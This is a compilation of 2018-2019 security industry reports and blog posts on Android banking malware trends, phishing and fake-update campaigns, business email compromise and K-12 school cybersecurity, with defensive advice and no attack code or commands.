We have reviewed the methodology behind the mobile section of this year’s report. Traditionally, we have analyzed Android banking malware statistics through KSN data gathered from Kaspersky Internet Security solution. But since Kaspersky Lab develops new mobile security solutions and features, statistics gathered from one product alone becomes less relevant. That is why this year we decided to shift to expanded data, gathered from multiple mobile solutions.

And here is the result:

Fig. 19: The change in the number of users attacked with Android banking malware 2016-2018

Over the last few years, Android banking malware evolved – with several peaks in 2016. The overall number of attacked users was 786,325.

2017 was more stable and the number of users who encountered mobile malware reached 515,816. But then there was a game changer.

In April 2018 the number of attacked users started to rise rapidly, with the overall figure reaching 1,799,891 – which means that it has more than tripled in just a year. As it can be seen, this was mainly due to two peaks in the periods from April to June and July to September.

Kaspersky Lab experts took a closer look at the reasons why this may have happened.

To do this, they reviewed the most widespread families across the year.

Back in 2017, the distribution of the major families was calm and smooth with the statistic looking more or less balanced.

Fig. 20: The most widespread Android banking malware in 2017

If we take the overall number of detections, the absolute leaders in 2017 were Asacub, Faketoken and Hqwar. Let’s look at them a bit more closely.

Asacub, constantly evolving malware, is spread via SMS and its distribution is uneven with several peaks across the year:

Fig.21: The change in the number of users attacked by the Asacub Android banking Trojan

At the same time, Faketoken evened out its activities, gradually lowering its hits from 13,563 in January, to 3,872 in December.

Fig.22: The change in the number of users attacked by Faketoken Android banking malware

The third major player in the field, Hqwar, demonstrated an almost identical picture.

Fig.23: The change in the number of users attacked by Hqwar Android banking malware

2018 was different.

Fig. 24: The most widespread Android banking malware in 2018

Asacub peaked more than twice to almost 60%, followed by Agent(14.28%) and Svpeng (13.31%). All three of them experienced explosive growth in 2018, especially Asacub as it peaked from 146,532 attacked users in 2017 to 1,125,258.

As the statistics show, this is a general trend as almost all more or less active families ramped up their activities in 12 months. But let’s have a closer look on top three families in 2018.

Fig.25: The change in the number of users attacked by the Asacub Android banking Trojan

As graph above shows, Asacub was quite stable across the year apart from two peaks that made it a leader – periods between May and July and July and October.

Fig.26: The change in the number of users attacked by the Agent Android banking Trojan

Agent experienced more consistent spikes – overall it was performing very active from February to April and Aprilto July, with a more stable distribution of attacks – around 20,000 to 30,000 attacked users per month.

Fig.27: The change in the number of users attacked by the Svpeng Android banking Trojan

Svpeng demonstrates another picture entirely. This malware family was not very active for almost half a year, then kicking off in May and growing until June with almost 100,000 attacked users. There was then a gradual fall for the rest of the year.

Geography of attacked users

In previous reports, we calculated the distribution of users attacked with Android Banking Trojans by comparing the overall number of unique users attacked by this type of malware with the overall number of users in a region. There was always one problem – for the majority of detection found in Russia traditionally come from this malicious software due to the prevalence of SMS banking in the region, which allows attackers to steal money with a simple text message if an infection is successful. Previously, the same was true for SMS Trojans, but after regulative measures, criminals have found a new way to capitalize on victims in Russia.

This year we decided to change the methodology replacing the overall number of attacked unique users to the overall number of users registered in the respected region.

In 2017 the landscape was the following:

Australia 1.05%
Turkmenistan 0.82%
Russia 0.8%
Turkey 0.46%
Kazakhstan 0.39%
Uzbekistan 0.37%
Tajikistan 0.3%
Poland 0.25%
Latvia 0.22%
Germany 0.22%

Fig. 28: The top 10 countries with the highest percentage of users that encountered Android banking malware in 2017

In 2018, the picture changed:

Russia 2.32%
South Africa 1.27%
US 0.82%
Australia 0.71%
Armenia 0.51%
Poland 0.46%
Moldova 0.44%
Kyrgyzstan 0.43%
Azerbaijan 0.43%
Georgia 0.42%

Fig. 29: The top 10 countries with the highest percentage of users that encountered Android banking malware in 2018

As we can see, mobile malware is indeed on the rise with the around two-digit growth in the average level of infections in top 10 countries. In 2018, Russia jumped up to first place, followed by South Africa and the US. Australia dropped to fourth position while Turkmenistan left the chart for good.

Major changes to the Android banking malware landscape

While figures tell their own story, there are many more ways to explore changes and developments in the threat landscape. Our key method is the analysis of actual malware found in the wild.

As this analysis shows, 2018 could be the fiercest cybercriminal onslaught ever seen when it comes to malicious mobile software. Last year it seemed that the threat balanced both in terms of number of unique samples discovered and the number of attacked users.

However, 2018 indicated that the situation had radically changed for the worse. The root cause of this rise is not clear, but the main culprits are the creators of the Asacub and Hqwar Trojans. The former has quite a long history – according to our data, the group behind it has been at work for more than three years. Asacub itself evolved from an SMS Trojan that was armed from the get-go with tools to counteract deletion and intercept incoming calls and SMS messages. Later, the creators of the malware beefed up its logic and began mass distribution using the same attack vector as before: social engineering via SMS. Online forums where people often expect messages from unfamiliar users became a source of mobile numbers. Next, the avalanche propagation method kicked in, with infected devices themselves becoming distributors – Asacub would be sent everyone in a victim’s contact list.

However, banking Trojans in 2018 were noteworthy not just in terms of scale but mechanics as well. One aspect of this is the increasingly common use of Accessibility Services in banking threats. This is partly a response to new versions of Android that make it increasingly difficult to overlay phishing windows on top of banking apps, the Trojan lodges itself in the device so that users cannot remove it by themselves. What’s more, cybercriminals can use Accessibility Services to hijack a perfectly legitimate application and force it, for example, to launch a banking app to make a money transfer right there on the victim’s device. Techniques have also appeared to counter dynamic analysis; for example, the Rotexy Trojan checks to see if it is running in a sandbox. However, this is not exactly a new thing, since we have observed such behavior before. That said, it should be noted that combined with obfuscation, anti-dynamic analysis techniques can be effective if virus writers manage to infiltrate their Trojan into a popular app store, in which case both static and dynamic processing may be powerless. Although sandbox detection cannot be said to be common practice among cybercriminals, the trend is evident, and we are inclined to believe that such techniques will become very sophisticated in the near future.

Conclusion and advice

2018 demonstrated that criminals keep updating their malware with new features, investing resources into new ways of distribution and into the development of detection avoidance techniques.

They also expand their list of victims adding new institution and industries to it.

This all means that they still get financial gain out of their activities.

As the above threat data shows, there is still plenty of room for financial fraud operations involving phishing and specific banking malware in this sphere. At the same time, mobile malware regained its power jeopardizing users across the world.

In order to avoid the risk of losing money as a result of a cyberattack, Kaspersky Lab’s experts advise the following:

For home users

  • Don’t click on suspicious links. They are mostly designed to download malware onto your device or lead you to phishing webpages, which intend to steal your credentials.
  • Never open or store unfamiliar files on your device as they could be malicious.
  • Always stay vigilant when using public Wi-Fi networks as they can be insecure and unreliable, making hotspots a prime target for hackers to steal user information. To keep your confidential information safe, never use hotspots to make online payments or share financial information.
  • Websites can be a front for cybercriminals, with the sole purpose of harvesting your data. To stop your confidential details from falling into the wrong hands, if a site seems suspicious or is unfamiliar, do not enter your credit card details or make a purchase.
  • To avoid compromising your credentials through a mobile banking application, make sure you use the official app for your financial services, and ensure it is not compromised. Download apps only from official app stores, such as Google Play or the iOS App Store.
  • To avoid falling into a trap, always check that the website is genuine, by double- checking the format of the URL or the spelling of the company name, before entering any of your credentials. Fake websites may look just like the real thing, but there will be anomalies to help you spot the difference.
  • To give you more confidence when assessing the safety of a website, only use websites which begin with HTTPS:// and therefore run across an encrypted connection. HTTP:// sites do not offer the same security and could put your information at risk as a result.
  • Never disclose your passwords or PIN-codes to anyone – not even your closest family and friends or your bank manager. Sharing these will only increase the level of risk and exposure to your personal accounts. This could lead to your financial information being accessed by cybercriminals, and your money stolen.
  • To help prevent financial fraud, a dedicated security solution on your device, with built-in features, will create a secure environment for all of your financial transactions. Kaspersky Lab’s Safe Money technology is designed to offer this level of protection to users and provide peace of mind. Use reliable security solutions for comprehensive protection from a wide range of threats, such as Kaspersky Security Cloud and Kaspersky Internet Security.
  • To keep your credentials safe, it is important to apply the same level of vigilance and security across all of your devices – whether desktop, laptop or mobile. Cybercriminal exploits have no boundaries, so your security needs to be just as widespread to minimize the risk of your information falling into the wrong hands. Use a reliable security solution for storing valuable digital data, such as Kaspersky Password Manager.

For businesses

  • Pay specific attention to endpoints from which financial operations are being completed: update the software installed on these endpoints first, and keep their security solution up to date.
  • Invest in regular cybersecurity awareness training for employees to educate them not to click on links or open attachments received from untrusted sources. Conduct simulated phishing attack to ensure that they know how to distinguish phishing emails.
  • If you use cloud email services, make sure you have installed a dedicated protection for your email – such as Kaspersky Security for Microsoft Office 365 – to strengthen your protection against business email compromise.
  • Ensure all levels of your corporate infrastructure are protected, from core data centers to specialized systems in the case of banking infrastructure (such as ATMs). For ATM and POS use solutions designed specifically for these systems, such as Kaspersky Embedded Systems Security, which protect even devices with weak or legacy hardware.
  • Provide your security operation center team with access to Threat Intelligence so it remains up to date with the latest tactics and tools used by cybercriminals
  • Leverage advanced detection and response technologies, such as Kaspersky Endpoint Detection and Response, part of Threat Management and Defense solution. It makes it possible to catch even unknown banking malware and gives security operation teams full visibility over the network and response automation.
  • To ensure protection for their clients, financial institutions should use solutions that can prevent fraud. For example, Kaspersky Fraud Prevention analyzes events that occur during the entire session and prevents fraud in real time.

Attack Campaign Using Fake Browser Updates to Deliver Ransomware and Banking Malware

Researchers observed an attack campaign distributing fake browser updates to infect website visitors with ransomware and banking malware.

Sucuri reported that the attackers inject either links to an external script or the entire script code into a compromised webpage. In both cases, this code creates a message box informing the user that a critical error resulted from an outdated version of the web browser. It then prompts the visitor to update his or her browser version while displaying garbled text in the background to legitimize the appearance of a critical browser vulnerability.

If the user clicks the “Update” button within the message box, the computer downloads a ZIP archive. This resource harbors a JavaScript file with a name that mentions “browser” and “components,” an apparent attempt to further convince the user that it is legitimate.

Once run, the file tries to download browser.jpg, which is actually a Windows EXE file containing ransomware. By comparison, the Android version of this campaign downloads banking malware onto the infected device.

A Long History of Fake Browser Updates

The tactic of using fake browser updates to deliver malware goes back to at least 2012, when Trend Micro discovered several websites offering fake, malware-laden updates for popular web browsers. A year later, ThreatTrack Security Labs came across fake upgrades hosted on an online repository.

The tactic has also been active in recent years. In 2017, for example, Proofpoint discovered a malvertising attack that used fake browser updates to deliver the Kovter ad fraud malware. Malwarebytes Labs came across something similar when it uncovered the FakeUpdates malware campaign in November 2018.

How to Defend Against Banking Malware and Ransomware

Security professionals can help defend against banking malware and ransomware by taking a risk-based approach to patch management, which can help them decide whether to patch known component vulnerabilities or replace at-risk items with more secure ones. Security teams should also invest in a solution that delivers phishing intelligence about ongoing attack campaigns, which helps responders determine which indicators pose the greatest risk to the organization’s environment.

The post Attack Campaign Using Fake Browser Updates to Deliver Ransomware and Banking Malware appeared first on Security Intelligence.

Instagram Hack Fools Social Media Influencers With Phony ‘Verified’ Badges

Security researchers say a Turkish-speaking group of cybercriminals is using an Instagram hack to dupe social media influencers into handing over money and even nude photographs as part of a digital extortion campaign.

According to Trend Micro, the attack begins with a simple phishing email that prompts users who have a large following on the Facebook-owned photo-sharing service to obtain a verification badge for their account profile. A “verified” badge is designed to help distinguish a well-known person’s account from potential fakes or other users with a similar name.

How the Instagram Hack Works

The phishing message prompts users to enter their login credentials, email and date of birth, among other information. After submitting the form, victims are shown a verification badge for a few seconds and then directed back to Instagram. Behind the scenes, the researchers observed the attackers switching the names of profiles, defacing profile pictures and flooding inboxes with security alerts.

In some cases, the attackers proceeded to add and then remove fake followers to a stolen account, as well as some possibly legitimate ones. Some victims were prompted to produce nude photos and videos as well as monetary payment in exchange for access to their accounts. If they failed to do so, the attackers threatened to hold the accounts hostage permanently or even delete them entirely.

An investigation into the attack discovered the words “account” and “eternal” written in Turkish on one of the victim’s profiles. This led to an online forum where other cybercriminals were discussing ways to steal accounts and prevent them from being recovered.

The Big Picture on Social Media Security

Users should be aware that Instagram wouldn’t ask for their login credentials as part of the process of receiving a “verified” badge, but it’s still easy to fall for phishing schemes when the domain names or landing pages look like the real thing. IBM experts suggest using ahead-of-threat detection to identify malicious URLs, scan images for hidden code and more before the actual threat becomes visible.

The post Instagram Hack Fools Social Media Influencers With Phony ‘Verified’ Badges appeared first on Security Intelligence.

A Look Back at the 2018 Security Landscape

Do you ever question the value of the mounds of data we all collect? We make a point to stop, analyze and share, especially because we know you might not have the time. So, I bring you our annual look back at the more interesting security events and trends seen last year. The report, Caught in the Net: Unraveling the Tangle of Old and New Threats, analyzes our threat data from the hundreds of millions of sensors we have deployed globally to identify the top threats seen. Let’s dive into a few of the more interesting items, but download and read the full report to get details on all we saw in 2018.

 

Top Trends 

  • Phishing URLs increased 269% compared to 2017. Threat actor continue looking to steal login credentials to get full access to a victim’s accounts. In most cases we’re seeing phishing webpages associated with Office365 and other email accounts, as compromising an email account allows them to easily send out malicious emails purporting to come from that user. These emails will are more likely to be believed as they come from a trusted source.
  • Socially engineered attacks have gained interest with cybercriminals, mostly using fraudulent emails towards their victims. Email is still the most used threat vector against employees when an actor wants to infiltrate a corporate network. The actors will use Open Source Intelligence (OSINT) to identify the victim’s interests to craft a believable socially engineered email, fooling the victim into opening a weaponized attachment or click on a malicious embedded link.
  • Ransomware continues to decline, but it is still an issue for many organizations who have not deployed improved security controls, including proper backup procedures. We saw a decline in the number of new ransomware families, as well as detections of ransomware, which appears to indicate threat actors have lost some interest in this threat. Reasons can stem from improved detection capabilities, like the use of machine learning and behavior monitoring, to the lack of infected organizations paying the ransoms. However, we still see a large number of WannaCry detections every month, but that is likely due to its worm capability – it wants to automatically spread to as many systems as possible. Organizations that have deployed the improved ransomware detection capabilities and a good backup strategy are able to respond to any infections quickly and clean up effectively, thus not needing to pay the ransom.
  • Business Email Compromise (BEC) continues to rise, as seen by our data around the world. This threat is more targeted, which is why the numbers are still fairly low compared to other threats, but the average amount lost per successful attack is huge compared to ransomware. The FBI states the average loss is around $150,000 per attack. This big payoff is why we will continue to see threat actors use this attack method against select targets around the world. The good news for organizations is that newer AI and machine learning powered technologies are available to detect these emails before an employee can wire transfers money to the cybercriminals.
  • Vulnerabilities continue to grow. The Trend Micro Zero Day Initiative (ZDI) bug bounty program continues to see increased submissions each year and 2018 was no exception with a 43% increase compared to 2017. The usual players were well represented, like Microsoft and Adobe, but in recent years we’ve seen more submissions for ICS vendors. This is mainly around Human Machine Interface (HMI) software vendors that manage multiple ICS/SCADA devices on a network. This increase is positive for everyone, as it takes these vulnerabilities out of the hands of criminals who may look to exploit the vulnerabilities in critical infrastructure attacks.

Beyond these trends being an interesting look at how the threat landscape continues to evolve, we also use this insight to benefit our customers. The majority of the data we share in our reports comes from the Trend Micro™ Smart Protection Network™ and is processed by both automation and human analysis to identify what is good and bad. This information is then used to develop protections, but only if we cannot already detect them at 0-hour. Our data scientists use our massive data repositories to develop new technologies in artificial intelligence and machine learning that will help us detect threats at first sight.

An example of this is our new Writing Style DNA, which is used within our messaging security solutions to build a model of how a person writes emails. Once the model is complete, our technology can identify emails not written by the employee and flag them as potentially fraudulent emails. This is important, as you read earlier that threat actors look to compromise the email accounts of executives and other employees. If this happens and they craft an email from the compromised account, the likelihood that they write an email the same way as the victim is fairly low and we can use this Writing Style DNA technology to detect such fraudulent emails.

All of our researchers use the data and information we obtain from real-world attacks to improve our products and technologies, which improves our protection of your data and business. Our mission is to make the world safe for exchanging digital information and the reports and research we publish regularly can help you stay aware of the changing threat landscape.

These are only a few of the insights you can obtain through the full report and we recommend you download the full report today. You can also check out our 2019 predictions report to get some ideas on what we will see this year. You can also look forward to our 2019 mid-year report, which we’ll publish in Q3’19 covering the first half of this year.

The post A Look Back at the 2018 Security Landscape appeared first on .

Threat Actor Using Fake LinkedIn Job Offers to Deliver More_eggs Backdoor

Security researchers discovered that a threat actor is targeting LinkedIn users with fake job offers to deliver the More_eggs backdoor.

Since mid-2018, Proofpoint has observed various campaigns distributing More_eggs, each of which began with a threat actor creating a fraudulent LinkedIn profile. The attacker used these accounts to contact targeted employees at U.S. companies — primarily in retail, entertainment, pharmaceuticals and other industries that commonly employ online payments — with a fake job offer via LinkedIn messaging.

A week after sending these messages, the attacker contacted the targeted employees directly using their work email to remind them of their LinkedIn correspondence. This threat actor incorporated the targets’ professional titles into subject lines and sometimes asked recipients to click on a link to a job description. Other times, the message contained a fake PDF with embedded links.

These URLs all pointed to a landing page that spoofed a legitimate talent and staffing management company. There, the target received a prompt to download a Microsoft Word document that downloaded the More_eggs backdoor once macros were enabled. Written in JScript, this backdoor malware is capable of downloading additional payloads and profiling infected machines.

A Series of Malicious Activities on LinkedIn

The threat actor responsible for these campaigns appears to have had a busy 2019 so far. Proofpoint found ties between these operations and a campaign first disclosed by Krebs on Security in which phishers targeted anti-money laundering officers at U.S. credit unions. Specifically, the security firm observed similar PDF email attachments and URLs all hosted on the same domain.

This isn’t the first time an online actor has used LinkedIn for malicious activity, either. Back in September 2017, Malwarebytes Labs found evidence of attackers compromising peoples’ LinkedIn accounts and using them to distribute phishing links via private messages. Less than a year later, Alex Hartman of Network Solutions, Inc. disclosed a similar campaign in which threat actors attempted to spread malware via LinkedIn using fake business propositions.

How to Defend Against Backdoors Like More_eggs

Security professionals can help defend against backdoors like More_eggs by consistently monitoring endpoints and devices for suspicious activity. Security teams should simultaneously use real-time compliance rules to automate remediation in the event they observe behavior that appears to be malicious.

Additionally, experts recommend testing the organization’s phishing defenses by contacting a reputable penetration testing service that employs the same tactics, techniques and procedures (TTPs) as digital criminals.

The post Threat Actor Using Fake LinkedIn Job Offers to Deliver More_eggs Backdoor appeared first on Security Intelligence.

Phishing Campaign Uses Fake Google reCAPTCHA to Distribute Malware

A recent phishing campaign used a fake Google reCAPTCHA as part of its efforts to target Polish bank employees with malware.

Sucuri researchers discovered that the campaign sent out malicious emails masquerading as a confirmation for a recent transaction. Digital attackers deployed this disguise in the hopes that employees at the targeted bank would click on a link to a malicious PHP file out of alarm. That file was responsible for loading a fake 404 error page for visitors that had specifically defined user-agents.

If passed through a user-agent filter, the PHP code loaded a fake Google reCAPTCHA. This feature used static HTML and JavaScript, so was not capable of rotating the individual images used in each authentication test. It also did not support audio replay.

At that point, the PHP code checked the victim’s browser user-agent to determine what payload it should deliver. If it found the victim was using an Android device, the attack would load a malicious APK file capable of intercepting two-factor authentication (2FA) codes. Otherwise, it would download a malicious ZIP archive.

A History of Abusing and Bypassing CAPTCHAs

This isn’t the first time threat actors have incorporated CAPTCHAs into their attack campaigns. Back in 2016, researchers at the University of Connecticut and Bar Ilan University identified a malicious attack in which threat actors could trick users into divulging some of their personal information by completing a fake CAPTCHA. In February 2018, My Online Security observed a campaign that used an image pretending to be a Google reCAPTCHA to download a malicious ZIP file.

Malefactors have also tried to bypass legitimate CAPTCHAs for the purpose of conducting attack campaigns. All the way back in 2009, for example, IT World reported on a worm named Gaptcha that circumvented Gmail’s authentication feature to create new dummy accounts from which to send spam mail. More recently, BullGuard discovered some survey scams using CAPTCHAs to make their ploys more believable.

Defending Against Fake reCAPTCHA Phishing Campaigns

Security professionals can help protect their organizations from fake reCAPTCHA-wielding phishing campaigns by taking an ahead-of-threat approach to detection. Companies should also reject SMS-based 2FA schemes in favor of more practical and convenient multifactor authentication (MFA) deployments that fit into a context-based access strategy.

The post Phishing Campaign Uses Fake Google reCAPTCHA to Distribute Malware appeared first on Security Intelligence.

What K–12 schools need to shore up cybersecurity

Crumbling infrastructure. Gaps in curriculum. Antiquated devices. Difficult COPPA laws. Lack of funding. Those are just a few of the obstacles facing K–12 schools looking to adopt technology into their 21st century learning initiatives.

Now add security concerns to the list, and you can see why many schools struggle not only to keep up with consumer technology trends, but also protect against threats that target them.

Despite the uphill battle, schools know the importance of securing their students’ data, and many have found ways to safely incorporate cybersecurity awareness, as well as affordable technologies, to protect that data. We talked with members of the school board, administrators, educators, and security directors to discuss the cybersecurity challenges specific to K–12 schools (both private and public), and what can be done to overcome.

The challenges

In our 2019 State of Malware report, we found education to be consistently in the top 10 industries targeted by cybercriminals. However, when we zoomed in to look at the major threats that dominated in 2018, including information-stealing Trojans and more sophisticated ransomware attacks, schools were even higher on the list, ranking as number one and number two, respectively.

In addition to K–12 school systems, key academic services, such as the SAT and ACT, are susceptible to data breaches, which can undermine the legitimacy of the college admissions process.

US schools are data-rich targets for cybercriminals, including the names, Social Security Numbers, and email addresses of students, their academic and health records, financial information, and more. According to EdWeek, US K–12 schools have experienced 425 publicly-reported cybersecurity incidents since January 2016; the real number is likely much higher.

Digging into this data, presented on an interactive map from the K–12 Cybersecurity Resource Center (pictured below), schools were most impacted by data breaches (purple flags), phishing attacks (blue), and ransomware infections (yellow).

Map courtesy of the K–12 Cybersecurity Resource Center

Knowing they’re a target for threat actors, which major hurdles must schools jump over in order to shore up their cybersecurity?

The first is lack of professional development. Teachers, administrators, and support staff have access to highly-confidential student data that is housed online, and because they don’t know enough about cybersecurity, they can inadvertently allow for a breach. Yet, professional development is nearly always related to changes in curriculum adoption, school events, and the occasional technology training course on how to use a particular software program or Internet-connected classroom device, such as a smart board.

In a related issue, while students are typically far more tech-savvy than their teachers, they are often not taught fundamental cybersecurity awareness at home.

“We might assume that when students get devices from home, such as phones or tables, there are restrictions put in place or guidelines given, but very often, there are not,” said Tami Espinosa, Principal of Luigi Aprea Elementary School in Gilroy, CA. “We need to be sure to address how to properly use technology, because it is and will be such an integral part of their lives.”

Even if filters or other restrictions are put in place, many students are able to find ways around them, compromising security in the process. If they knew their actions could lead to their student records being accessed and changed, would they be so reckless?

Another challenge for shoring up cybersecurity in K–12 is a lack of funding. In a nutshell, there is none—or at least very little. What is available is usually applied directly to instruction and curriculum, as many in the school community don’t support diverting funds away from core subject areas.

“Cybersecurity isn’t a tangible item that directly impacts instruction, so many staff and community members wouldn’t support money going towards it, especially when facilities need to be fixed, curriculum needs to be purchased, and more support staff is needed,” said Tami Ortiz, a San Francisco Bay Area educator. “Cybersecurity is vital, but invisible.”

In fact, because the district or federal funding often doesn’t come through for cybersecurity, schools looking for funds often have to apply for grants or host fundraising events to subsidize.

Finally, updating infrastructure is a massive obstacle for schools hoping to tighten up security. Pubic schools especially struggle in this area, as it’s expensive to overhaul hardware every few years and requires support staff that can manage and secure not only the devices, but also any data stored on premise or in the cloud. From operating systems to specialized educational software that needs updating, vulnerabilities are rampant and can be easily exploited—and that’s without including negligent staff who might open an unwanted email and infect their machine.

The solutions

To help persuade community members and staff to divert funds, the severity of the situation must be impressed upon them. According to The 2018 State of K–12 Cybersecurity report, nearly half of the reported breaches of the year were caused by students and staff, and 60 percent of them resulted in student data being compromised.

This tells us that awareness is a key factor in combatting breaches, but also that technologies must be deployed in order to safeguard from tech-savvy students looking to get around the protections put in place.

Doron Aronson, Vice President of the Cambrian School Board of Trustees, said that with their limited budgets, school boards look at technology holistically, with security being an important component. There are three main areas they consider when making funding decisions: infrastructure, hardware, and security; instructional practices and professional learning; and digital curriculum, tools, data and assessment. And while security is mentioned only as part of infrastructure, it can actually be incorporated into all three areas. Here’s how:

Infrastructure, hardware, and security 

One of the “easiest” ways that schools can combat data breaches and other cyberattacks is by selecting and deploying cybersecurity solutions that combat threats which have historically targeted schools. IT directors should look for programs with dynamic, behavior-based detection criteria that shield from ransomware, Trojans, and other active malware families. Firewalls, supplementary email security, and encrypted data storage/backup systems provide additional coverage against breaches, phishing, and ransomware attacks.

In addition, developing a cybersecurity policy and incident response plan will help prepare schools in the event of a breach. Bonus points for incorporating a layer of security with top remediation capabilities, so that the aftermath, including restoring backups and cleaning up computers, is relatively painless.

Instructional practices and professional learning

Convince leadership to provide outsourced IT and security services, especially for professional development. Start by partnering outsider trainers with those who know the most—the IT/tech department—and then move on to administration, staff, paraprofessionals, and aides.

Fresno-based educational consultant Alex Chavez advises schools to “get serious about security. Put it on the leadership meeting agenda next to school site safety. Collaborate with the outsourced security to keep up-to-date with the latest threats and best practices.”

If funding for outside awareness training is non-existent, designate or ask for a volunteer to be the cyber coordinator for the school. Look to your community for volunteers: tech-savvy younger teachers, or parents who work in technology or security would be a good place to start.

“Get some trusted outside help,” said John Donovan, Head of Security at Malwarebytes. “Designate someone on your staff to be an internal leader/point of contact, and give them some time and incentives to learn and bring that info to your school—especially if it’s a volunteer position.”

Do the same within your student body. Designate a classroom cyberhero, or select a few older students to be the cyber police for the school. Reward with extra credit, less homework, or a points system within the school for getting swag.

Once staff and volunteers have had some initial training, broaden that training out to the wider school and community by offering both formal and informal lessons, including assembly talks and workshops, and occasionally testing that knowledge through simple, fun exercises.

Digital curriculum, tools, data, and assessment

Putting the infrastructure in place, including the right antivirus software, cybersecurity policies, and support staff (volunteer or professional), plus providing professional development are steps in the right direction to shoring up cybersecurity in our elementary, middle, and high schools. However, perhaps the most important step is knowing what to teach students and teachers alike about cybersecurity hygiene, and how best to teach it.

“My advice would be to make sure there is a plan in place for the intentional teaching of cyber safety,” said Espinosa. “So often we think a lot of this is common sense, however, it is not.”

To that end, we suggest the following best practices, especially relevant to those in education:

  • Install security software on all endpoints in the school environment, including mobile devices teachers may use to check their emails during the day.
  • Beware of phishing emails and other social engineering, such as technical support scams or video game games, aimed at both teachers and students. Look at the sender’s email address and be hyper aware if there are attachments or links within the body of the email asking for personal information.
  • Student data should be backed up and encrypted end-to-end in storage and in transmission.
  • Use or create digital curriculum that is COPPA compliant.
  • Use password managers for any teacher, administrator, or even student accounts.
  • Keep all software and hardware updated regularly. Systems and software that have reached end of life (EOL) and are no longer supported with security updates should be purged and replaced.

How to teach it

  • Incorporate cybersecurity hygiene into digital citizenship discussions, as well as digital literacy learning.
  • Make cybersecurity part of curriculum that aligns to state standards for ELA or even math by assimilating knowledge about threats, hackers, or other online dangers into reading comprehension instruction, word problems, or even project-based learning activities.
  • Create gamified lessons, such as phishing tests.
  • Offer rewards for good cybersecurity hygiene, such as stars or points for logging out of accounts before closing browsers.
  • Assign cybersecurity as a research topic for reports.

Resources

Engaging students in cybersecurity: a primer for educators
Malwarebytes Labs

Stop, Think, Connect
US Department of Homeland Security

Stay Safe Online/National Cyber Security Awareness Month
National Cyber Security Alliance

Privacy and Internet Safety
Common Sense Media

Framework for Improving Critical Infrastructure Cybersecurity
National Institute of Standards and Technology

The post What K–12 schools need to shore up cybersecurity appeared first on Malwarebytes Labs.

More cod than phishing: why business email compromise is a bigger risk than you think

Email scams and social engineering attacks are a huge security risk. When we describe security incidents that involve criminals scamming individuals or businesses out of money, security professionals often use terms like “CEO fraud”, “fake boss scams”, or “impersonation fraud” and “business email compromise” interchangeably for convenience. But there’s a case for treating business email compromise as a specific threat that deserves special attention.

Let’s put this into context. Phishing scams in general, and CEO fraud in particular, have the same goals: to convince you that the sender is genuine and then to trick you into doing something they want. Wombat Security’s State of the Phish 2019 report showed the scale of the risk. It surveyed almost 15,000 infosec professionals and found that almost all said the rate of phishing email incidents grew or stayed the same as last year. Last year, 83 per cent said they experienced phishing, up from 76 per cent in 2017.

The Wombat report said that attacks have one of three impacts on victims: credential compromise, malware infections and data loss. Credential compromise increased by more than 70 per cent since 2017, becoming the most commonly experienced impact in 2018. As Wombat noted, this is worrying because multiple services often sit behind a single password. Reports of data loss grew more than threefold since 2016. All three impacts have grown since 2016.

Won’t get fooled again

After analysing over a billion emails daily, Proofpoint concluded that attackers increasingly focus attention on people, rather than technical defences. “Attackers are adept at exploiting our natural curiosity, desire to be helpful, love of a good bargain, and even our time constraints to persuade us to click,” its report said.

Before scammers get to the serious business of extracting our money or making us download malware, scam emails have to pass the smell test by seeming legitimate (if it smells of ‘phish’ it probably is a ‘phish’). Most of them do this with simple spoofing techniques. They might involve misspelling the company name in a fake email domain or amending the email address slightly so it appears normal but is sent somewhere else. These tricks rely on people being so busy that they don’t spot the difference. The fake just needs to be good enough to fool the naked eye, and maybe also be smart enough to get past a basic email gateway.

But here’s where I believe there’s a distinction with business email compromise that many people are missing. Email spoofing is one thing, but what if an attacker actually took control of your email account? Think about the impact of that for a moment. An email account is the source of so much data about a person, it’s the proverbial keys to the kingdom.

Email has all the trappings of how we “speak” virtually to our contacts, from introductions (“Dear valued customer”), to signoffs (“Best wishes, Dave”). That’s a goldmine for any attacker who wants a foolproof way of impersonating someone and copy your style and email writing tone. From a business point of view, an email account will have contact details for clients and colleagues ready to hand.

A day in the life

Think of the potential damage to business relationships. How long would it take to send damaging emails to destroy your credibility, your career, or even your company? The attacker is no longer just impersonating you – as far as the email proves, they are you. And you, as the victim might not even realise you’ve been compromised right away. An attacker who takes over your account could send stealthy emails to a manager or customer and then delete all traces of it from the ‘sent items’ folder. Imagine if they found an old message with company product plans or sales prospects; where might that end up?

And that’s not all; think for a moment how much information your email account has on all of your other activities, from utility bills to records of purchases. Email’s tentacles reach into so many parts of our digital lives.

For just about every online service we use, where do all the password resets go? That’s right, to your email account.

Password honey pot

There are two misconceptions to put right here. We might not fully value the security of our email account. We might also mistakenly assume that someone else is looking after it and keeping it secure – especially in these days of cloud services. But you know what they say about assumptions! For individual accounts, changing to a strong password, passphrase, or better yet multi-factor authentication (where something like a text message can be used to authenticate your access), will at least strengthen the protection.

In my experience, many companies just use cloud-based email with default settings. Instead, they should tailor the level of security to their risk. The potential impact from true business email compromise is so damaging that there is a strong argument for making companies focus attention on protecting their email above all other systems. There are plenty of security controls to help do this, from two-factor authentication to data loss prevention, and security awareness training. An attacker only has to get lucky once, as the old security saying goes. And if one finds their way in, you might as well switch off the lights on your way out.

The post More cod than phishing: why business email compromise is a bigger risk than you think appeared first on BH Consulting.

Hackers Use Fake Google reCAPTCHA to Cloak Banking Malware

Hackers Use Fake Google reCAPTCHA to Cloak Banking Malware

The most effective phishing and malware campaigns usually employ one of the following two age-old social engineering techniques:

Impersonation

These online phishing campaigns impersonate a popular brand or product through specially crafted emails, SMS, or social media networks. These campaigns employ various methods including email spoofing, fake or real employee names, and recognized branding to trick users into believing they are from a legitimate source. Impersonation phishing campaigns may also contain a victim’s name, email address, account number, or some other personal detail.

Continue reading Hackers Use Fake Google reCAPTCHA to Cloak Banking Malware at Sucuri Blog.

Threats to users of adult websites in 2018

 More graphs and statistics in full PDF version

Introduction

2018 was a year that saw campaigns to decrease online pornographic content and traffic. For example, one of the most adult-content friendly platforms – Tumblr – announced it was banning erotic content (even though almost a quarter of its users consume adult content). In addition, the UK received the title of ‘The Second Most Porn-Hungry Country in the World‘ and is now implementing a law on age-verification for pornography lovers that will prohibit anyone below the age of 18 to watch this sort of content. This is potentially opening a world of new tricks for scammers and threat actors to take advantage of users. In addition, even commercial giant Starbucks declared a ‘holy war’ on porn as it was revealed that many visitors prefer to have their coffee while consuming adult content, rather than listening to music or reading the latest headlines on news websites.

